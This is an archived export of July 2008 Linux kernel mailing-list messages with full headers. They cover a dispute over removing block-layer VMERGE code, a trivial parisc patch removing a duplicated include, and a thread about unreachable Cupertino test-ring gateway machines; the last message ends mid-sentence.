Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752530AbYGYDzF (ORCPT <rfc822;lnx-linux-scsi@m.gmane.org>);
	Thu, 24 Jul 2008 23:55:05 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752659AbYGYDzE
	(ORCPT <rfc822;linux-scsi-outgoing>);
	Thu, 24 Jul 2008 23:55:04 -0400
Original-Received: from accolon.hansenpartnership.com ([76.243.235.52]:49538 "EHLO
	accolon.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752224AbYGYDzB (ORCPT
	<rfc822;linux-scsi@vger.kernel.org>);
	Thu, 24 Jul 2008 23:55:01 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 53F3D80FC;
	Thu, 24 Jul 2008 22:54:59 -0500 (CDT)
Original-Received: from accolon.hansenpartnership.com ([127.0.0.1])
	by localhost (redscar.int.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id MD-WqTc265QD; Thu, 24 Jul 2008 22:54:58 -0500 (CDT)
Original-Received: from [153.66.150.222] (mulgrave-w.int.hansenpartnership.com [153.66.150.222])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 7F694802B;
	Thu, 24 Jul 2008 22:54:54 -0500 (CDT)
In-Reply-To: <20080724.145336.41899163.davem@davemloft.net>
X-Mailer: Evolution 2.22.3.1 (2.22.3.1-1.fc9) 
Original-Sender: linux-scsi-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-scsi.vger.kernel.org>
X-Mailing-List: linux-scsi@vger.kernel.org
Xref: news.gmane.org gmane.linux.scsi:43421 gmane.linux.kernel:711575 gmane.linux.ports.parisc:561
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/561>

On Thu, 2008-07-24 at 14:53 -0700, David Miller wrote:
> From: Mikulas Patocka <mpatocka@redhat.com>
> Date: Thu, 24 Jul 2008 17:49:14 -0400 (EDT)
> 
> > * it is prone to bugs and hard to maintain, because the same value must be 
> > calculated in blk-merge.c and in architectural iommu functions --- if the 
> > value differs, you create too long request, corrupt kernel memory and 
> > crash (happened on sparc64). Anyone changing blk-merge in the future will 
> > risk breaking something on the architectures that use BIO_VMERGE_BOUNDARY 
> > --- and because these architectures are so rare, the bug will go unnoticed 
> > for long time --- like in the case of sparc64.
> 
> I completely agree with this point.

So you think the parametrisation in the block layer is the wrong way to
approach the problem?  On this argument your next patch should be
removing physical merging as well because it also relies on a
parametrisation model of how the device builds the sg list.

> This VMERGE stuff is now a non-trivial maintainence burdon because
> anyone who wants to hack on the block layer has to be mindful of
> VMERGE but is very unlikely to have access to a system that it can
> even be tested on.

I'm sorry sparc broke, really I am ... but you changed your iommu code
from one with a working vmerge to one without and failed to turn off
vmerging.  Partly it wasn't noticed because at 2*PAGE_SIZE you have a
strange vmerge boundary, so it's harder to notice.   However, I can't
extrapolate that just because this happened on sparc it will inevitably
happen on all other architectures.

> And the answer isn't "James Bottomly will test your changes for you",
> because that simply doesn't scale.

Actually, parisc will test your code we have a PAGE_SIZE vmerge
boundary, so the effect is much more noticeable.

> I still say we should definitely remove the VMERGE code.  It's not
> worth the maintainence hassle just for some SG chaining test rig
> on some obscure platform.

OK ... well you've had your say and so have I.  The code in question is
the responsibility of a particular maintainer ... we'll let him decide.

> I really only hear one person who really wants this code around any
> more.  Is that the Linux way? :-) Can't he patch it into his tree when
> he needs it or write an alternative way to stress the SG chaining
> code?  He has the source, right? :-)))

You're advocating an out of tree patch as a solution?  I didn't know
you'd been appointed RHEL maintainer ;-)

James


--
To unsubscribe from this list: send the line "unsubscribe linux-scsi" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Miller <davem@davemloft.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.scsi
Subject: Re: [PATCH] block: fix q->max_segment_size checking in
 blk_recalc_rq_segments about VMERGE
Date: Thu, 24 Jul 2008 22:21:52 -0700 (PDT)
Lines: 18
Approved: news@gmane.org
Message-ID: <20080724.222152.193709632.davem@davemloft.net>
References: <Pine.LNX.4.64.0807241727320.12036@devserv.devel.redhat.com>
	<20080724.145336.41899163.davem@davemloft.net>
	<1216957670.4524.87.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1216963324 22258 80.91.229.12 (25 Jul 2008 05:22:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 25 Jul 2008 05:22:04 +0000 (UTC)
Cc: mpatocka@redhat.com, fujita.tomonori@lab.ntt.co.jp,
	jens.axboe@oracle.com, linux-kernel@vger.kernel.org,
	linux-scsi@vger.kernel.org, linux-parisc@vger.kernel.org
To: James.Bottomley@HansenPartnership.com
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jul 25 07:22:52 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KMFlS-0000al-My
	for glpp-linux-parisc@gmane.org; Fri, 25 Jul 2008 07:22:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751102AbYGYFVy (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 25 Jul 2008 01:21:54 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1750934AbYGYFVy
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 25 Jul 2008 01:21:54 -0400
Original-Received: from 74-93-104-97-Washington.hfc.comcastbusiness.net ([74.93.104.97]:44650
	"EHLO sunset.davemloft.net" rhost-flags-OK-FAIL-OK-OK)
	by vger.kernel.org with ESMTP id S1750867AbYGYFVx (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 25 Jul 2008 01:21:53 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by sunset.davemloft.net (Postfix) with ESMTP id BDD95C8C2D5;
	Thu, 24 Jul 2008 22:21:52 -0700 (PDT)
In-Reply-To: <1216957670.4524.87.camel@localhost.localdomain>
X-Mailer: Mew version 5.2 on Emacs 22.1 / Mule 5.0 (SAKAKI)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:562 gmane.linux.kernel:711585 gmane.linux.scsi:43422
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/562>

From: James Bottomley <James.Bottomley@HansenPartnership.com>
Date: Thu, 24 Jul 2008 23:47:50 -0400

> I'm sorry sparc broke, really I am ... but you changed your iommu code
> from one with a working vmerge to one without and failed to turn off
> vmerging.  Partly it wasn't noticed because at 2*PAGE_SIZE you have a
> strange vmerge boundary, so it's harder to notice.   However, I can't
> extrapolate that just because this happened on sparc it will inevitably
> happen on all other architectures.

The vmerge boundary on sparc64 was 8K which is equal to sparc64's base
PAGE_SIZE.  I don't know where you get that 2*PAGE_SIZE from.

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Huang Weiyi <weiyi.huang@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: arch/parisc/kernel/signal.c: Removed duplicated include
Date: Fri, 25 Jul 2008 23:30:10 +0800
Lines: 23
Approved: news@gmane.org
Message-ID: <20080725224619.9137.WEIYI.HUANG@gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1216999854 6367 80.91.229.12 (25 Jul 2008 15:30:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 25 Jul 2008 15:30:54 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: kyle@mcmartin.ca, matthew@wil.cx, grundler@parisc-linux.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jul 25 17:31:42 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KMPGA-0000Wm-Nt
	for glpp-linux-parisc@gmane.org; Fri, 25 Jul 2008 17:31:11 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751727AbYGYPaO (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 25 Jul 2008 11:30:14 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751775AbYGYPaO
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 25 Jul 2008 11:30:14 -0400
Original-Received: from ti-out-0910.google.com ([209.85.142.189]:61458 "EHLO
	ti-out-0910.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751666AbYGYPaN (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 25 Jul 2008 11:30:13 -0400
Original-Received: by ti-out-0910.google.com with SMTP id b6so1795622tic.23
        for <linux-parisc@vger.kernel.org>; Fri, 25 Jul 2008 08:30:12 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:date:from:to:subject:cc
         :message-id:mime-version:content-type:content-transfer-encoding
         :x-mailer;
        bh=G9AzQz/HaXuJLqazVWTwrMVre+STJR3Drtpy9r2/XGo=;
        b=WN/XKmcOzgrbgCFNFX49+RzqYWD4y7PkLUw1y9ia1NDOKEnOZ5gl5ato4nt9FLt453
         h1OEsnZaYfD2DHGhFetTD3mDYZuDuLaiWqeKUIwuYCPEKwzswzQIgxSIUpv9uC6Q2pqb
         gQytlGwN5ipW2cJ2GNND/Enplc73z2WzghwWI=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=date:from:to:subject:cc:message-id:mime-version:content-type
         :content-transfer-encoding:x-mailer;
        b=IzcV8kLq4/vzlFQ5+qwcfxRA7fx/I047m6JN5IauEdv6WdaUMz5ZUhnbB6GOgKvSxX
         no1Ve8jiAB9Mu1J+reimDZwN52tPubUQashQhzug7fODX1XhqQhjy4NkNDTAox6R/Kor
         ZuYbqxvr7PPFxxOG5z8ezN9H7215Yn2SAgeSg=
Original-Received: by 10.110.92.8 with SMTP id p8mr1985386tib.9.1216999812051;
        Fri, 25 Jul 2008 08:30:12 -0700 (PDT)
Original-Received: from ?192.168.2.20? ( [222.95.174.100])
        by mx.google.com with ESMTPS id w12sm402098tib.1.2008.07.25.08.30.09
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Fri, 25 Jul 2008 08:30:10 -0700 (PDT)
X-Mailer: Becky! ver. 2.24.02 [en]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:563
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/563>

Removed duplicated include file <linux/compat.h> in 
arch/parisc/kernel/signal.c.

Signed-off-by: Huang Weiyi <weiyi.huang@gmail.com>

diff --git a/arch/parisc/kernel/signal.c b/arch/parisc/kernel/signal.c
index 06213d1..71ab17a 100644
--- a/arch/parisc/kernel/signal.c
+++ b/arch/parisc/kernel/signal.c
@@ -33,7 +33,6 @@
 #include <asm/asm-offsets.h>

 #ifdef CONFIG_COMPAT
-#include <linux/compat.h>
 #include "signal32.h"
 #endif


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Cupertino test ring problem?
Date: Mon, 28 Jul 2008 09:19:05 -0500
Lines: 12
Approved: news@gmane.org
Message-ID: <1217254746.3503.61.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1217254817 18190 80.91.229.12 (28 Jul 2008 14:20:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 28 Jul 2008 14:20:17 +0000 (UTC)
To: Parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jul 28 16:21:06 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KNTaT-0003ix-ML
	for glpp-linux-parisc@gmane.org; Mon, 28 Jul 2008 16:20:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751160AbYG1OTh (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 28 Jul 2008 10:19:37 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751375AbYG1OTh
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 28 Jul 2008 10:19:37 -0400
Original-Received: from accolon.hansenpartnership.com ([76.243.235.52]:53577 "EHLO
	accolon.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751160AbYG1OTg (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 28 Jul 2008 10:19:36 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id A4D7580FC
	for <linux-parisc@vger.kernel.org>; Mon, 28 Jul 2008 09:19:35 -0500 (CDT)
Original-Received: from accolon.hansenpartnership.com ([127.0.0.1])
	by localhost (redscar.int.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 97mJtsQb-idU for <linux-parisc@vger.kernel.org>;
	Mon, 28 Jul 2008 09:19:34 -0500 (CDT)
Original-Received: from [153.66.150.222] (mulgrave-w.int.hansenpartnership.com [153.66.150.222])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 77DA87FAB
	for <linux-parisc@vger.kernel.org>; Mon, 28 Jul 2008 09:19:34 -0500 (CDT)
X-Mailer: Evolution 2.22.3.1 (2.22.3.1-1.fc9) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:564
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/564>

The gateway machines to cupertino (gsyfrf11/10) have been inaccessible
for most of last week.  Can we get someone local to give them a poke and
see what's up with them?

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Cupertino test ring problem?
Date: Mon, 28 Jul 2008 08:57:13 -0600
Lines: 18
Approved: news@gmane.org
Message-ID: <20080728145712.GH18026@parisc-linux.org>
References: <1217254746.3503.61.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1217257134 27041 80.91.229.12 (28 Jul 2008 14:58:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 28 Jul 2008 14:58:54 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>,
	Rick Jones <rick.jones2@hp.com>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jul 28 16:59:43 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KNUBy-0001uu-HA
	for glpp-linux-parisc@gmane.org; Mon, 28 Jul 2008 16:59:18 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758235AbYG1O5d (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 28 Jul 2008 10:57:33 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757631AbYG1O5d
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 28 Jul 2008 10:57:33 -0400
Original-Received: from palinux.external.hp.com ([192.25.206.14]:39710 "EHLO
	mail.parisc-linux.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1758220AbYG1O5c (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 28 Jul 2008 10:57:32 -0400
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id 74766494007; Mon, 28 Jul 2008 08:57:13 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <1217254746.3503.61.camel@localhost.localdomain>
User-Agent: Mutt/1.5.13 (2006-08-11)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:565
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/565>

On Mon, Jul 28, 2008 at 09:19:05AM -0500, James Bottomley wrote:
> The gateway machines to cupertino (gsyfrf11/10) have been inaccessible
> for most of last week.  Can we get someone local to give them a poke and
> see what's up with them?

Dave Anglin asked me about it during OLS.  I suggested he poke Rick
Jones ...

-- 
Intel are signing my paycheques ... these opinions are still mine
"Bill, look, we understand that you're interested in selling us this
operating system, but compare it to ours.  We can't possibly take such
a retrograde step."
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rick Jones <rick.jones2@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Cupertino test ring problem?
Date: Mon, 28 Jul 2008 10:09:54 -0700
Lines: 28
Approved: news@gmane.org
Message-ID: <488DFD62.4080307@hp.com>
References: <1217254746.3503.61.camel@localhost.localdomain> <20080728145712.GH18026@parisc-linux.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1217265033 25380 80.91.229.12 (28 Jul 2008 17:10:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 28 Jul 2008 17:10:33 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	Parisc List <linux-parisc@vger.kernel.org>,
	Richard Jones <rick.jones2@hp.com>
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jul 28 19:11:21 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KNWFc-0005R2-Uc
	for glpp-linux-parisc@gmane.org; Mon, 28 Jul 2008 19:11:13 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1760251AbYG1RKA (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 28 Jul 2008 13:10:00 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1759541AbYG1RKA
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 28 Jul 2008 13:10:00 -0400
Original-Received: from g5t0009.atlanta.hp.com ([15.192.0.46]:30297 "EHLO
	g5t0009.atlanta.hp.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1760222AbYG1RJ6 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 28 Jul 2008 13:09:58 -0400
Original-Received: from tardy.cup.hp.com (tardy.cup.hp.com [16.89.104.60])
	by g5t0009.atlanta.hp.com (Postfix) with ESMTP id 89B22307D0;
	Mon, 28 Jul 2008 17:09:57 +0000 (UTC)
Original-Received: from [127.0.0.1] (localhost [127.0.0.1])
	by tardy.cup.hp.com (8.9.3 (PHNE_28810)/8.9.3 SMKit7.02) with ESMTP id KAA23049;
	Mon, 28 Jul 2008 10:09:54 -0700 (PDT)
User-Agent: Mozilla/5.0 (X11; U; HP-UX 9000/785; en-US; rv:1.7.13) Gecko/20060601
X-Accept-Language: en-us, en
In-Reply-To: <20080728145712.GH18026@parisc-linux.org>
X-Brightmail-Tracker: AAAAAQAAAAI=
X-Whitelist: TRUE
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:566
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/566>

Matthew Wilcox wrote:
> On Mon, Jul 28, 2008 at 09:19:05AM -0500, James Bottomley wrote:
> 
>>The gateway machines to cupertino (gsyfrf11/10) have been inaccessible
>>for most of last week.  Can we get someone local to give them a poke and
>>see what's up with them?
> 
> 
> Dave Anglin asked me about it during OLS.  I suggested he poke Rick
> Jones ...

That explains that mild ache in my side :)

The Cupertino test ring got moved last week from one machine room to 
another. This also included netperf.org and ftp.cup.hp.com. Shutdown was 
about 1600 Pacific time on the 23rd, and power was restored to the racks 
by about that time on Thursday.  I brought-up netperf.org, 
ftp.cup.hp.com and they talked fine and dandy on the network, so I 
simply powered-on the lp1000r gateway and ass-u-me-d it would work as 
well.  I guess it didn't :(  and I will try to take a look at them today.

rick jones

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Cupertino test ring problem?
Date: Mon, 28 Jul 2008 11:15:01 -0600
Lines: 15
Approved: news@gmane.org
Message-ID: <20080728171500.GB16059@parisc-linux.org>
References: <1217254746.3503.61.camel@localhost.localdomain> <20080728145712.GH18026@parisc-linux.org> <488DFD62.4080307@hp.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1217265326 26454 80.91.229.12 (28 Jul 2008 17:15:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 28 Jul 2008 17:15:26 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	Parisc List <linux-parisc@vger.kernel.org>
To: Rick Jones <rick.jones2@hp.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jul 28 19:16:15 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KNWKU-0007I4-Iv
	for glpp-linux-parisc@gmane.org; Mon, 28 Jul 2008 19:16:15 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757544AbYG1RPF (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 28 Jul 2008 13:15:05 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757916AbYG1RPE
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 28 Jul 2008 13:15:04 -0400
Original-Received: from palinux.external.hp.com ([192.25.206.14]:51410 "EHLO
	mail.parisc-linux.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756873AbYG1RPC (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 28 Jul 2008 13:15:02 -0400
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id 93391494007; Mon, 28 Jul 2008 11:15:01 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <488DFD62.4080307@hp.com>
User-Agent: Mutt/1.5.13 (2006-08-11)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:567
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/567>

On Mon, Jul 28, 2008 at 10:09:54AM -0700, Rick Jones wrote:
> well.  I guess it didn't :(  and I will try to take a look at them today.

Thanks, Rick!

-- 
Intel are signing my paycheques ... these opinions are still mine
"Bill, look, we understand that you're interested in selling us this
operating system, but compare it to ours.  We can't possibly take such
a retrograde step."
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: 64bit kernel not booting with CONFIG_PRINTK_TIME=y
Date: Tue, 29 Jul 2008 00:29:29 -0400
Lines: 13
Approved: news@gmane.org
Message-ID: <20080729042929.GB11425@phobos.i.cabal.ca>
References: <20080717190502.74c238d5@bleh.bxl.tuxicoman.be> <20080719215459.GA2550@phobos.i.cabal.ca> <20080719230418.GA4263@phobos.i.cabal.ca> <20080720112345.07869299@bleh.bxl.tuxicoman.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1217305779 13803 80.91.229.12 (29 Jul 2008 04:29:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 29 Jul 2008 04:29:39 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org
To: Guy Martin <gmsoft@tuxicoman.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jul 29 06:30:27 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KNgqx-0002Pl-CN
	for glpp-linux-parisc@gmane.org; Tue, 29 Jul 2008 06:30:27 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751251AbYG2E3b (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 29 Jul 2008 00:29:31 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751238AbYG2E3b
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 29 Jul 2008 00:29:31 -0400
Original-Received: from 206-248-169-182.dsl.ncf.ca ([206.248.169.182]:48083 "EHLO
	phobos.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751109AbYG2E3a (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 29 Jul 2008 00:29:30 -0400
Original-Received: by phobos.cabal.ca (Postfix, from userid 500)
	id 71DA3178064; Tue, 29 Jul 2008 00:29:29 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <20080720112345.07869299@bleh.bxl.tuxicoman.be>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:568 gmane.linux.kernel:713134
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/568>

On Sun, Jul 20, 2008 at 11:23:45AM +0200, Guy Martin wrote:
> [    0.000000] FP[0] enabled: Rev 1 Model 16
> [    0.000000] The 64-bit Kernel has started...

I pushed a better fix to my git tree on kernel.org on top of
